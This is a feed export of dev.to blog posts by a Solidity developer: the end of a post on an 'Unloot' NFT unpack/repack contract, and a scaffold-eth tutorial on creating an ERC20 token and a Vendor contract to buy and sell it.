&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SaSSeNKy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/500/1%2AdDx-BYBeMOrdcPrIJ73_ew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SaSSeNKy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/500/1%2AdDx-BYBeMOrdcPrIJ73_ew.png" alt="Unloot Item NFT"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Katana&lt;/li&gt;
&lt;li&gt;  Ornate Chestplate&lt;/li&gt;
&lt;li&gt;  Great Helm&lt;/li&gt;
&lt;li&gt;  Ornate Belt of detection&lt;/li&gt;
&lt;li&gt;  Ornate Greaves of Anger&lt;/li&gt;
&lt;li&gt;  Dragonskin Gloves&lt;/li&gt;
&lt;li&gt;  Necklace&lt;/li&gt;
&lt;li&gt;  Gold Ring of Titans&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;In order to call the  &lt;strong&gt;unpack&lt;/strong&gt;  function on the contract, you need to  &lt;strong&gt;approve&lt;/strong&gt;  the Unloot Contract to be able to transfer the Loot Bag to its contract itself. I will not go too deep in technical explanation in this blog post, I will release a specific one where I will explain how to create an identical contract, test it and deploy it on Rinkeby.&lt;/p&gt;

&lt;p&gt;But bear with me, I tried a couple of solution to achieve a better user experience but you always arrive at the same point: you need to accept some security or complexity compromise to offer a better experience and sometimes it’s not worth, mostly when you need to deal with the current floor price of a Loot NFT.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Anyway, now you own those items. You can sell them separately on Open Sea, you can transfer a couple to one of your friends that still need a Katana or maybe you can trade one ring with a more powerful chest that you miss to enter that damn dungeon that you cannot defeat with your current inventory!&lt;/p&gt;

&lt;h3&gt;
  
  
  Repack function
&lt;/h3&gt;

&lt;p&gt;The repack function (or we can call it un-do? :D) allows you to re-pack eight Unloot NFT into the original Loot bag only if those items you are trying to repack were coming from the same bag.&lt;/p&gt;

&lt;p&gt;When the bag is transferred back to your wallet, those Unloot items will be burned.&lt;/p&gt;

&lt;p&gt;The cool thing is that you don’t need to be the original owner of the Loot bag to repack it, those items could have been in the hands of many people, used for months, and at some point, you have just luckily found them on OpenSea, available to be bought and repacked in the holy grail of the original one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Where can I test it?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Unloot Contract on Rinkeby:  &lt;a href="https://rinkeby.etherscan.io/address/0xd4c4900b0006B39482888d3712c9dBf45a98A2c3#code"&gt;0xd4c4900b0006B39482888d3712c9dBf45a98A2c3&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Loot Contract on Rinkeby (clone of Loot Project just for testing purpose):  &lt;a href="https://rinkeby.etherscan.io/address/0x256AfE6504C04249D74fe7f7EA40575ec6a30bf8#code"&gt;0x256AfE6504C04249D74fe7f7EA40575ec6a30bf8&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  UI on Rinkeby:  &lt;a href="https://loot-unloot.surge.sh/"&gt;https://loot-unloot.surge.sh/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So what can you do at the moment (I know the UI/UX is not great but this is just an MVP to test the idea):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Go on the Loot Contract tab and claim a Loot Bag (try some not claimed ID)&lt;/li&gt;
&lt;li&gt;  You should now see your Bag in the Loot list tab&lt;/li&gt;
&lt;li&gt;  Now what you need to do is to go on the Loot Contract and  &lt;strong&gt;approve&lt;/strong&gt;  the Unloot address to transfer your Loot Bag the Unloot Contract&lt;/li&gt;
&lt;li&gt;  Now you can go to the Unloot Contract tab and execute the  &lt;strong&gt;unpack&lt;/strong&gt; function. Use your Loot tokenId as input&lt;/li&gt;
&lt;li&gt;  If you go to Unloot list you should see your bag exploded into 8 different Unloot NFT item.&lt;/li&gt;
&lt;li&gt;  Now you can do whatever you want with those items! Sell them on OpenSea, transfer them to a friend, exchange them with another adventure’s item.&lt;/li&gt;
&lt;li&gt;  If you own all the items from a Loot bag you can go to the Unloot Contract tab and  &lt;strong&gt;repack&lt;/strong&gt;  those items to get back a Loot Bag. The UI is not super easy so you need to remember the ID of Unloot tokenId and input them from the smaller to the bigger one (smaller = sword, bigger = ring).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why have you developed it?
&lt;/h3&gt;

&lt;p&gt;Mostly because of four reasons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  I want to grow in my web3/solidity path and learn fast&lt;/li&gt;
&lt;li&gt;  I like to build things&lt;/li&gt;
&lt;li&gt;  I wanted to create something on my own from scratch&lt;/li&gt;
&lt;li&gt;  This project allowed me to create content to share with the community that will learn from my experience&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Is this project useful?
&lt;/h3&gt;

&lt;p&gt;Yes and no, it could be if other contracts in the Loot Project ecosystem start to recognize and use items from the Unloot contract, otherwise, you would have at worst wasted some gas to just unpack and repack those items.&lt;/p&gt;

&lt;h3&gt;
  
  
  Are there other projects like this?
&lt;/h3&gt;

&lt;p&gt;Yup, while I was talking with &lt;a href="https://medium.com/@austin_48503"&gt;Austin Thomas Griffith&lt;/a&gt; on Telegram a couple of days ago showcasing this project he told me that another couple of devs have already released something similar. I’m talking about  &lt;a href="https://www.lootloose.com/"&gt;Loot Loose&lt;/a&gt;  by  &lt;a href="https://twitter.com/gakonst"&gt;Georgios Konstantopoulos&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Where can I follow you?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  GitHub:  &lt;a href="https://github.com/StErMi"&gt;https://github.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Twitter:  &lt;a href="https://twitter.com/StErMi"&gt;https://twitter.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Medium:  &lt;a href="https://medium.com/@stermi"&gt;https://medium.com/@stermi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Dev.to:  &lt;a href="https://dev.to/stermi"&gt;https://dev.to/stermi&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>How to create an ERC20 Token and a Solidity Vendor Contract to sell/buy your own token</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Fri, 10 Sep 2021 18:15:19 +0000</pubDate>
      <link>https://forem.com/stermi/how-to-create-an-erc20-token-and-a-solidity-vendor-contract-to-sell-buy-your-own-token-4j1m</link>
      <guid>https://forem.com/stermi/how-to-create-an-erc20-token-and-a-solidity-vendor-contract-to-sell-buy-your-own-token-4j1m</guid>
      <description>&lt;p&gt;In the previous scaffold-eth challenge, we have &lt;a href="https://dev.to/stermi/scaffold-eth-challenge-1-staking-dapp-4ofb"&gt;created a Staker dApp&lt;/a&gt;. In this challenge, we are going to create a Token Vendor contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  The goal of the dApp
&lt;/h2&gt;

&lt;p&gt;The goal of this challenge is to create your own ERC20 Token and a Token Vendor Contract that will handle the sell/buy process of your token exchanging it with ETH sent by the user.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are you going to learn?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  What is an ERC20 Token&lt;/li&gt;
&lt;li&gt;  How to mint an ERC20 Token&lt;/li&gt;
&lt;li&gt;  OpenZeppelin ERC20 implementation&lt;/li&gt;
&lt;li&gt;  Ownership of a Contract&lt;/li&gt;
&lt;li&gt;  How to create a Token Vendor contract to sell/buy your token&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to the content above we are going to learn a lot of new Solidity and web3 concepts and how to write well-made tests for your Solidity code. I’m going to skip some basic parts so if you feel lost just go back to the first challenge blog post and read all the explanations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Some always useful links that you should always have in mind:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/" rel="noopener noreferrer"&gt;Solidity by Example&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/" rel="noopener noreferrer"&gt;Solidity Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/getting-started/" rel="noopener noreferrer"&gt;Hardhat Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.ethers.io/v5/" rel="noopener noreferrer"&gt;Ethers-js Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/openzeppelin/" rel="noopener noreferrer"&gt;OpenZeppelin Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethernaut.openzeppelin.com/" rel="noopener noreferrer"&gt;OpenZeppelin Ethernaut tutorial&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://cryptozombies.io/" rel="noopener noreferrer"&gt;CryptoZombies Tutorial&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is an ERC20 Token?
&lt;/h2&gt;

&lt;p&gt;Before we start I will just give you an overview of what an ERC20 Token is quoting directly the Ethereum Documentation.&lt;/p&gt;

&lt;p&gt;Tokens can represent virtually anything in Ethereum:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  reputation points in an online platform&lt;/li&gt;
&lt;li&gt;  skills of a character in a game&lt;/li&gt;
&lt;li&gt;  lottery tickets&lt;/li&gt;
&lt;li&gt;  financial assets like a share in a company&lt;/li&gt;
&lt;li&gt;  a fiat currency like USD&lt;/li&gt;
&lt;li&gt;  an ounce of gold&lt;/li&gt;
&lt;li&gt;  and more…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Such a powerful feature of Ethereum must be handled by a robust standard, right? That’s exactly where the ERC-20 plays its role! This standard allows developers to build token applications that are interoperable with other products and services.&lt;/p&gt;

&lt;p&gt;The ERC-20 introduces a standard for Fungible Tokens, in other words, they have a property that makes each Token be exactly the same (in type and value) of another Token. For example, an ERC-20 Token acts just like the ETH, meaning that 1 Token is and will always be equal to all the other Tokens.&lt;/p&gt;

&lt;p&gt;If you want to know more about the ERC-20 token you can look at these links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://ethereum.org/en/developers/docs/standards/tokens/erc-20/" rel="noopener noreferrer"&gt;ERC-20 Token Standard on Ethereum Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://eips.ethereum.org/EIPS/eip-20" rel="noopener noreferrer"&gt;EIP-20 Ethereum Improvement Proposals&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Setup the project
&lt;/h2&gt;

&lt;p&gt;First of all, we need to set up it. Clone the scaffold-eth repository, switch to the challenge 1 branch and install all the needed dependencies.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone [https://github.com/austintgriffith/scaffold-eth.git](https://github.com/austintgriffith/scaffold-eth.git) challenge-2-token-vendor  
cd challenge-2-token-vendor  
git checkout challenge-2-token-vendor  
yarn install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;To locally test your application&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;yarn chain&lt;/code&gt; to start your local hardhat chain&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;yarn start&lt;/code&gt; to start your local React app&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;yarn deploy&lt;/code&gt; to deploy/redeploy your contract and update the React app&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  OpenZeppelin and ERC20 Implementation
&lt;/h2&gt;

&lt;p&gt;OpenZeppelin provides security products to build, automate, and operate decentralized applications.&lt;/p&gt;

&lt;p&gt;We are going to use the OpenZeppelin Contract framework to build our own ERC20 Token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The framework is a library for secure smart contract development.&lt;/strong&gt; Build on a solid foundation of community-vetted code.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Implementations of standards like &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc20" rel="noopener noreferrer"&gt;ERC20&lt;/a&gt; and &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc721" rel="noopener noreferrer"&gt;ERC721&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;  Flexible &lt;a href="https://docs.openzeppelin.com/contracts/4.x/access-control" rel="noopener noreferrer"&gt;role-based permissions&lt;/a&gt; scheme.&lt;/li&gt;
&lt;li&gt;  Reusable &lt;a href="https://docs.openzeppelin.com/contracts/4.x/utilities" rel="noopener noreferrer"&gt;Solidity components&lt;/a&gt; to build custom contracts and complex decentralized systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to learn more about the OpenZeppelin implementation you can follow these links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc20" rel="noopener noreferrer"&gt;OpenZeppelin ERC20 Contract&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/token/erc20" rel="noopener noreferrer"&gt;OpenZeppelin ERC20 API Reference&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Exercise Part 1: Create your own ERC20 Token and deploy it!
&lt;/h2&gt;

&lt;p&gt;In the first part of the exercise, you need to create a Token Contract inhering from OpenZepllein’s ERC20 Contract.&lt;/p&gt;

&lt;p&gt;In the constructor, you have to mint &lt;code&gt;1000 token&lt;/code&gt; (remember that in Solidity an &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc20#a-note-on-decimals" rel="noopener noreferrer"&gt;ERC20 token has 18 decimals&lt;/a&gt;) and send them to the &lt;code&gt;msg.sender&lt;/code&gt; (the one that deployed the contract).&lt;/p&gt;

&lt;p&gt;Remember to update the &lt;code&gt;deploy.js&lt;/code&gt; file to send those tokens to the correct address. You can find your current address on the top right of your web application, just hit the copy icon!&lt;/p&gt;

&lt;p&gt;To transfer tokens to your account, add this line to your &lt;code&gt;deploy.js&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;const result = await yourToken.transfer("**YOUR FRONTEND ADDRESS**", utils.parseEther("1000"));&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Don’t be scared, I’ll explain later after reviewing the code.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Can you see on the frontend that the &lt;code&gt;balanceOf&lt;/code&gt; your Wallet has those 1000 tokens?&lt;/li&gt;
&lt;li&gt;  Can you &lt;code&gt;transfer()&lt;/code&gt; some of those tokens to another wallet address? Simply open a new incognito window on Chrome, type your localhost address and you should have a brand new burner account to send those tokens to!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Important Concepts to master
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc20" rel="noopener noreferrer"&gt;OpenZeppelin ERC20 Contract&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum.org/en/developers/docs/standards/tokens/erc-20/" rel="noopener noreferrer"&gt;Ethereum ERC-20 Standard&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/inheritance/" rel="noopener noreferrer"&gt;Inheritance&lt;/a&gt;  — Contracts can inherit from other contracts by using the &lt;code&gt;is&lt;/code&gt; keyword.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/shadowing-inherited-state-variables/" rel="noopener noreferrer"&gt;Shadowing Inherited State Variables&lt;/a&gt;  — As explained by SolidityByCode unlike functions, state variables cannot be overridden by re-declaring them in the child contract&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  YourToken.sol
&lt;/h3&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;p&gt;As you can see we are importing the ERC20.sol Contract from the OpenZeppelin library. That Contract is the OpenZeppelin implementation of the ERC20 Standard and they made an amazing job on both security and optimization!&lt;/p&gt;

&lt;p&gt;When in your code you &lt;code&gt;is ERC20&lt;/code&gt; that code make your &lt;code&gt;YourContract&lt;/code&gt; contract inherits all the function/state variables implemented in the ERC20 Contract from OpenZeppelin.&lt;/p&gt;

&lt;p&gt;The amazing thing is that everything is open source. Try to &lt;code&gt;CMD+click&lt;/code&gt; on the ERC20 keyword or on the &lt;code&gt;_mint&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;As you can see when the &lt;code&gt;constructor&lt;/code&gt; of our contract is called, we are also calling the ERC20 constructor passing two arguments. The first one is the &lt;code&gt;name&lt;/code&gt; of our Token and the second one is the &lt;code&gt;symbol&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The second important part is the &lt;code&gt;_mint&lt;/code&gt; function, let’s take a look at it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AJRCmopUIIfqM5X2iS_D25w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AJRCmopUIIfqM5X2iS_D25w.png" alt="ERC20 mint function"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first &lt;code&gt;require&lt;/code&gt; you see is just checking that the minter (the one that will receive all the token minted) is not the null address.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;_beforeTokenTransfer&lt;/code&gt; and &lt;code&gt;_afterTokenTransfer&lt;/code&gt; are function hooks that are called after any transfer of tokens. This includes minting and burning.&lt;/p&gt;

&lt;p&gt;In the rest of the code, we are updating the &lt;code&gt;_totalSupply&lt;/code&gt; of the token (in our case it would be 1000 tokens with 18 decimals), updating the minter &lt;code&gt;balance&lt;/code&gt; with the amount and we are emitting a &lt;code&gt;Transfer&lt;/code&gt; event.&lt;/p&gt;

&lt;p&gt;How cool is that? And in our &lt;code&gt;TokenContract&lt;/code&gt; we have &lt;strong&gt;only&lt;/strong&gt; called one function.&lt;/p&gt;

&lt;p&gt;Remember that I said to updated the deploy.js file to transfer all those tokens to our wallet in the web app? The code was this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;await yourToken.transfer(‘0xafDD110869ee36b7F2Af508ff4cEB2663f068c6A’, utils.parseEther(‘1000’));&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;transfer&lt;/code&gt; is another function offered by the ERC20 Contract implementation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AuIXPgJGp3Cx-VFPbAKuCJg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AuIXPgJGp3Cx-VFPbAKuCJg.png" alt="ERC20 Transfer function"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I will not go much into detail but after checking that both the &lt;code&gt;sender&lt;/code&gt; and &lt;code&gt;recipient&lt;/code&gt; are not the &lt;code&gt;null address&lt;/code&gt; the function will check if the sender has enough balance to transfer the requested amount, will transfer it and will also emit a &lt;code&gt;Transfer&lt;/code&gt; event.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exercise Part 2: Create a Vendor Contract
&lt;/h2&gt;

&lt;p&gt;In this part of the exercise, we are going to create our Vendor Contract.&lt;/p&gt;

&lt;p&gt;The Vendor will be responsible to allow users to exchange ETH for our Token. In order to do that we need to&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Set a price for our token (1 ETH = 100 Token)&lt;/li&gt;
&lt;li&gt;  Implement a payable &lt;code&gt;buyToken()&lt;/code&gt; function. To transfer tokens look at the &lt;code&gt;transfer()&lt;/code&gt; function exposed by the OpenZeppelin ERC20 implementation.&lt;/li&gt;
&lt;li&gt;  Emit a &lt;code&gt;BuyTokens&lt;/code&gt; event that will log who’s the buyer, the amount of ETH sent and the amount of Token bought&lt;/li&gt;
&lt;li&gt;  Transfer all the Tokens to the Vendor contract at deployment time&lt;/li&gt;
&lt;li&gt;  Transfer the &lt;code&gt;ownership&lt;/code&gt; of the Vendor contract (at deploy time) to our frontend address (you can see it on the top right of your web app) to withdraw the ETH in the balance&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Important Concepts to master
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/events/" rel="noopener noreferrer"&gt;Events&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/payable/" rel="noopener noreferrer"&gt;Payable functions&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/access#Ownable" rel="noopener noreferrer"&gt;Open Zeppelin Ownable &amp;amp; ownership&lt;/a&gt;  — OpenZeppelin module used through inheritance. It will make available the modifier &lt;code&gt;onlyOwner&lt;/code&gt;, which can be applied to your functions to restrict their use to the owner.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#Address" rel="noopener noreferrer"&gt;OpenZeppelin Address utility&lt;/a&gt; (not required but useful to known)  — Collection of functions related to the address type. You could use it to safely transfer ETH funds from the Vendor to the owner&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-transfer-address-uint256-" rel="noopener noreferrer"&gt;Transfer function from OpenZeppelin ERC20 contract&lt;/a&gt;  —  &lt;code&gt;transfer(address recipient, uint256 amount)&lt;/code&gt; moves &lt;code&gt;amount&lt;/code&gt; tokens from the caller’s account to &lt;code&gt;recipient&lt;/code&gt; and returns a boolean value indicating whether the operation succeeded.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/sending-ether/" rel="noopener noreferrer"&gt;Sending ether  &lt;/a&gt;— As we saw in the previous challenge always use the &lt;code&gt;call&lt;/code&gt; function to do that!&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Vendor.sol
&lt;/h3&gt;

&lt;p&gt;Let’s review the important part of the code.&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;In the &lt;code&gt;buyTokens()&lt;/code&gt; we are checking that the user has sent us at least some ETH otherwise we will revert the transaction (don’t be cheap!). Remember that in order to receive ETH our function must have the keyword &lt;code&gt;payable&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After that, we calculate, based on the token price how many tokens he will receive with the amount of ETH sent.&lt;/p&gt;

&lt;p&gt;We are also checking that the Vendor contract has enough balance of Tokens to fill the user buy request, otherwise we revert the transaction.&lt;/p&gt;

&lt;p&gt;If every check goes well we trigger the &lt;code&gt;transfer&lt;/code&gt; function of our Token Contract implemented inside the ERC20 contract that is inherited by the Token Contract (see the image above to view the code). That function is returning a &lt;code&gt;boolean&lt;/code&gt; that will notify us if the operation was successful.&lt;/p&gt;

&lt;p&gt;The last thing to do is to emit the &lt;code&gt;BuyTokens&lt;/code&gt; event to notify to the blockchain that we made the deal!&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;withdraw()&lt;/code&gt; function is pretty simple. As you can see it rely on the &lt;code&gt;onlyOwner&lt;/code&gt; &lt;code&gt;function modifier&lt;/code&gt; that we inherited by the &lt;code&gt;Owner&lt;/code&gt; contract. That modifier is checking that the &lt;code&gt;msg.sender&lt;/code&gt; is the owner of the contract. We don’t want another user to withdraw the ETH we collected. Inside the function, we are transferring the ETH to the owner and checking if the operation was successful. Another way to do that, as I said previously is to use the &lt;code&gt;sendValue&lt;/code&gt; of the &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#Address-sendValue-address-payable-uint256-" rel="noopener noreferrer"&gt;Address utility&lt;/a&gt; of OpenZeppelin.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/xQNKBMKmdNs"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Exercise Part 3: Allow the Vendor to buy back!
&lt;/h2&gt;

&lt;p&gt;This is the last part of the exercise and it’s the most difficult one, not from a technology point of view but more from a concept and UX.&lt;/p&gt;

&lt;p&gt;We want to allow the user to sell their token to our Vendor contract. As you know, Contract can accept ETH when their function is declared as &lt;code&gt;payable&lt;/code&gt;, but they are only allowed to receive ETH.&lt;/p&gt;

&lt;p&gt;So what we need to implement is to allow our Vendor to take Tokens directly from our Token’s balance and trust him to give us back the equal value amount of ETH back. This is called the “Approve approach”.&lt;/p&gt;

&lt;p&gt;This is the flow that will happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The user requests to “approve” the Vendor contract to transfer tokens from the user’s balance to Vendor’s wallet (this will happen on the Token’s contract). When you invoke the &lt;code&gt;approve&lt;/code&gt; function you will specify the number of tokens that you want to decide to let the other contract be able to transfer &lt;strong&gt;at max&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;  The user will invoke a &lt;code&gt;sellTokens&lt;/code&gt; function on Vendor’s contract that will transfer user’s balance to Vendor’s balance&lt;/li&gt;
&lt;li&gt;  The vendor’s contract will transfer to the user’s wallet an equal amount of ETH&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Important Concepts to master
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-transfer-address-uint256-" rel="noopener noreferrer"&gt;approve ERC20 function&lt;/a&gt;  — Sets &lt;code&gt;amount&lt;/code&gt; as the allowance of &lt;code&gt;spender&lt;/code&gt; over the caller’s tokens. Returns a boolean value indicating whether the operation succeeded. Emits an &lt;code&gt;[Approval](https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-Approval-address-address-uint256-)&lt;/code&gt; event.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-transfer-address-uint256-" rel="noopener noreferrer"&gt;transferFrom ERC20 function&lt;/a&gt;  — Moves &lt;code&gt;amount&lt;/code&gt; tokens from &lt;code&gt;sender&lt;/code&gt; to &lt;code&gt;recipient&lt;/code&gt; using the allowance mechanism. &lt;code&gt;amount&lt;/code&gt; is then deducted from the caller’s allowance. Returns a boolean value indicating whether the operation succeeded. Emits a &lt;code&gt;[Transfer](https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-Transfer-address-address-uint256-)&lt;/code&gt; event.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;An important note that I would like to explain: UX over security&lt;br&gt;
This approve mechanism is not something new. If you ever used a DEX like Uniswap you already have done this.&lt;/p&gt;

&lt;p&gt;The approve function allows other wallet/contract to transfer at max the number of tokens you specify within the function arguments. What does it mean? What if I want to trade 200 tokens I should approve the Vendor contract to only transfer to itself 200 tokens. If I want to sell another 100, I should approve it again. &lt;strong&gt;Is it a good UX? Maybe not but it’s the most secure one.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DEX uses another approach. To avoid to ask every time to the user to approve each time you want to swap TokenA for TokenB they simply ask to approve the MAX possible number of tokens directly. What does it mean? That every DEX contract could potentially steal all your tokens without you knowing it. You always should be aware of what’s happening behind the scene!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Vendor.sol
&lt;/h3&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Let’s review &lt;code&gt;sellTokens&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;First of all, we check that the &lt;code&gt;tokenAmountToSell&lt;/code&gt; is greater than &lt;code&gt;0&lt;/code&gt; otherwise, we revert the transaction. You need to sell at least one of your tokens!&lt;/p&gt;

&lt;p&gt;Then we check that the &lt;strong&gt;user’s token balance&lt;/strong&gt; is at least &lt;strong&gt;greater&lt;/strong&gt; than the amount of token he’s trying to sell. You cannot oversell what you don’t own!&lt;/p&gt;

&lt;p&gt;After that, we calculate the &lt;code&gt;amountOfETHToTransfer&lt;/code&gt; to the user after the sell operation. We need to be sure that the Vendor can pay that amount so we’re checking that Vendor’s balance (in ETH) is greater than the amount to transfer to the user.&lt;/p&gt;

